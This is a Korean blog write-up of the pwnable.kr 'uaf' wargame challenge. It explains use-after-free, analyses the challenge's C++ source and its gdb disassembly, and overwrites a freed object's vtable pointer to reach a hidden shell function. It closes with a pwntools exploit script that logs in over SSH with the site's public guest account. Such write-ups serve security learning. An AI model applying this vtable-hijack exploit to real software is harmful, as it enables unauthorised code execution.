power-girl0-0

[pwnable] uaf 풀이 본문

War game/pwnable.kr

[pwnable] uaf 풀이

power-girl0-0 2022. 3. 21. 01:47
728x90

1. 문제

문제에 주어진 ssh로 접속하면, uaf.cpp와 uaf 실행파일이 주어진다.

uaf를 실행해보면, 아래와 같이 메뉴를 보여주고 입력할 수 있는 커서가 존재한다.

 

2. 풀기 전, 알고 가기

① 힙영역이란?

- 메모리를 동적으로 할당하여, 사용하는 공간을 의미한다.

- 필요에 의해, 메모리를 할당하고 해제한다.

 

② heap overflow란?

- 할당된 메모리보다 많은 값을 넣어서, 다른 메모리 주소 값까지 침범하여 발생한다.

- 만약, 함수 포인터가 존재하는 부분까지 침범해서 조작한다면, 프로그램의 실행 흐름을 바꿀 수 있는 문제가 발생한다.

 

③ UAF(Use After Free)

- 힙 영역에서 메모리 해제 후, 해제한 메모리 영역을 재사용할 때 발생하는 취약점이다.

 

3. C++ 코드

아래는 문제에서 주어진 코드이다.

#include <fcntl.h>
#include <iostream>
#include <cstring>
#include <cstdlib>
#include <unistd.h>
using namespace std;

class Human{
private:
        virtual void give_shell(){
                system("/bin/sh");
        }
protected:
        int age;
        string name;
public:
        virtual void introduce(){
                cout << "My name is " << name << endl;
                cout << "I am " << age << " years old" << endl;
        }
};

class Man: public Human{
public:
        Man(string name, int age){
                this->name = name;
                this->age = age;
        }
        virtual void introduce(){
                Human::introduce();
                cout << "I am a nice guy!" << endl;
        }
};

class Woman: public Human{
public:
        Woman(string name, int age){
                this->name = name;
                this->age = age;
        }
        virtual void introduce(){
                Human::introduce();
                cout << "I am a cute girl!" << endl;
        }
};

int main(int argc, char* argv[]){
        Human* m = new Man("Jack", 25);
        Human* w = new Woman("Jill", 21);

        size_t len;
        char* data;
        unsigned int op;
        while(1){
                cout << "1. use\n2. after\n3. free\n";
                cin >> op;

                switch(op){
                        case 1:
                                m->introduce();
                                w->introduce();
                                break;
                        case 2:
                                len = atoi(argv[1]);
                                data = new char[len];
                                read(open(argv[2], O_RDONLY), data, len);
                                cout << "your data is allocated" << endl;
                                break;
                        case 3:
                                delete m;
                                delete w;
                                break;
                        default:
                                break;
                }
        }

        return 0;
}

여기서 참고! C언어에서는 malloc과 free로 동적할당하지만, C++에서는 new과 delete를 사용한다.

 

위 코드 분석을 통해 알 수 있는 점은 아래와 같다.


  ⇨ class Human에 선언된 private권한의 give_shell()함수에 접근해, 쉘을 획득할 수 있다.

   Human을 상속받은 man과 woman의 객체를 생성한다.
   case 1은 생성한 객체 m과 w를 통해, introduce()함수를 불러온다.
   case 2는 사용자에게 입력받아온 값을 바탕으로 동적할당한다. ( argv[1] : len / argv[2] : file )
   case 3은 객체 m과 w 메모리를 해제한다.

 

4. 풀이

① gdb로 디컴파일한 결과, switch코드에 해당되는 부분을 볼 수 있었다.

   0x0000000000400fb2 <+238>:   mov    eax,DWORD PTR [rbp-0x18]
   0x0000000000400fb5 <+241>:   cmp    eax,0x2
   0x0000000000400fb8 <+244>:   je     0x401000 <main+316>
   0x0000000000400fba <+246>:   cmp    eax,0x3
   0x0000000000400fbd <+249>:   je     0x401076 <main+434>
   0x0000000000400fc3 <+255>:   cmp    eax,0x1
   0x0000000000400fc6 <+258>:   je     0x400fcd <main+265>
   0x0000000000400fc8 <+260>:   jmp    0x4010a9 <main+485>

② case 1의 코드 부분을 분석한 결과, give_shell( )의 주소 값을 알아낼 수 있다.

case 1은 생성한 객체 m과 w를 통해, introduce() 함수를 불러온다.

아래는 간단하게 주석 처리하여, 정리한 코드이다. 이를 참고해서 살펴보자.

   // Part : Man
   0x0000000000400fcd <+265>:   mov    rax,QWORD PTR [rbp-0x38] //동적할당한 Man을 불러옴.
   0x0000000000400fd1 <+269>:   mov    rax,QWORD PTR [rax]  //give_shell()
   0x0000000000400fd4 <+272>:   add    rax,0x8 
   0x0000000000400fd8 <+276>:   mov    rdx,QWORD PTR [rax] //introduce()
   0x0000000000400fdb <+279>:   mov    rax,QWORD PTR [rbp-0x38]
   0x0000000000400fdf <+283>:   mov    rdi,rax
   0x0000000000400fe2 <+286>:   call   rdx
   // Part : Woman
   0x0000000000400fe4 <+288>:   mov    rax,QWORD PTR [rbp-0x30] //동적할당한 Woman을 불러옴.
   0x0000000000400fe8 <+292>:   mov    rax,QWORD PTR [rax] //give_shell()
   0x0000000000400feb <+295>:   add    rax,0x8
   0x0000000000400fef <+299>:   mov    rdx,QWORD PTR [rax] //introduce()
   0x0000000000400ff2 <+302>:   mov    rax,QWORD PTR [rbp-0x30]
   0x0000000000400ff6 <+306>:   mov    rdi,rax
   0x0000000000400ff9 <+309>:   call   rdx

Man에 대한 일부 부분으로, 0x401570주소값이 give_shell( ) 을 가르키도 있는 것을 볼 수 있다.

0x401570 주소부분을 확인해보면, vtable이라는 것을 알 수 있다.

위 주소값을 바탕으로 추측해서, 아래와 같이 vtable의 전체 구조를 확인할 수 있었다.

값을 확인해본 결과, 아래와 같이 give_shell()과 introduce()가 저장되어 있는 것을 볼 수 있다.

give_shell은 따로 오버라이딩하지 않았기 때문에, 0x40117a로 고정되어 있다.

즉, rax의 참조는 vtable이었던 것이다.

 

자 그럼 다시 코드로 돌아가보자.

   0x0000000000400fd1 <+269>:   mov    rax,QWORD PTR [rax]  //give_shell()
   0x0000000000400fd4 <+272>:   add    rax,0x8 
   0x0000000000400fd8 <+276>:   mov    rdx,QWORD PTR [rax] //introduce()

위 코드를 보니, rax참조에 +0x8 을 하면, introduce( )이다.

 

Woman도 같은 방식임을 확인할 수 있다.

즉, 우리는 rax참조값을 바꿔 vtable에서 give_shell( )을 호출하는 방식으로 문제를 풀 수 있다.

이때 +0x8을 해서 참조하므로, give_shell을 불러올려면 give_shell( )주소에서 0x8 뺀 값으로 rax를 바꾸면 된다.

 

시나리오를 만들어보자면, 아래와 같다.

할당되어 있는 m과 w 메모리를 해제하고, 해제한 메모리와 같은 크기를 할당한다.
이는 같은 크기이기 때문에, m과 w가 가르키고 있는 공간을 할당하게 된다.
새로 할당받은 공간을 악의적인 값으로 변경하고 메모리부분을 실행시키면, 해제했던 메모리를 재사용하게 된다.
이는 uaf취약점이 발생한 것으로, 접근이 불가능한 부분에 접근하여 shell을 획득할 수 있다.

 

시나리오를 바탕으로, 우리는 uaf 취약점을 활용해서 아래 순서대로 문제를 clear 할 수 있다.

① 메뉴 1번을 눌러서, 동적할당한 m과 w가 introduce( )함수의 주소값을 갖게 한다. 
② 메뉴 3번을 눌러서, m과 w 메모리를 해제한다.
③ 메뉴 2번을 눌러서, 위에서 해제했던 메모리와 같은 크기를 동적할당하고, 값은 give_shell주소값으로 바꿔준다.
        ( 0x401570-0x8 = 0x401568 )
④ 메뉴 1번을 눌러서, 2번에서 해제했던 메모리를 재사용함으로써 uaf가 발생하는 취약점이다.

위 순서대로 실행하면, shell을 획득하여 flag를 얻을 수 있다.

 

5. Exploit Code

from pwn import *

argvs=[b"./uaf","4","/tmp/d0bbyG/attack"]
p = ssh(user = b"uaf", host = b"pwnable.kr", password = b"guest", port = 2222)
p1 = p.process(argv=argvs)

def PRINT():
    ans = p1.recvuntil(b"3. free")
    print(ans)

def USE():
    p1.sendline("1")

def AFTER():
    p1.sendline("2") 
    PRINT()

def FREE():
    p1.sendline("3")
    PRINT()

PRINT()
USE()
PRINT()
FREE()
AFTER()
AFTER()
USE()
p1.interactive()

 

 

728x90

'War game > pwnable.kr' 카테고리의 다른 글

[pwnable] lotto 풀이  (0) 2022.03.17
[pwnable] blackjack 풀이  (0) 2022.03.16
[pwnable] coin1 풀이  (0) 2022.03.11
[pwnable] cmd2 풀이  (0) 2022.02.21
[pwnable] cmd1 풀이  (0) 2022.02.20
Comments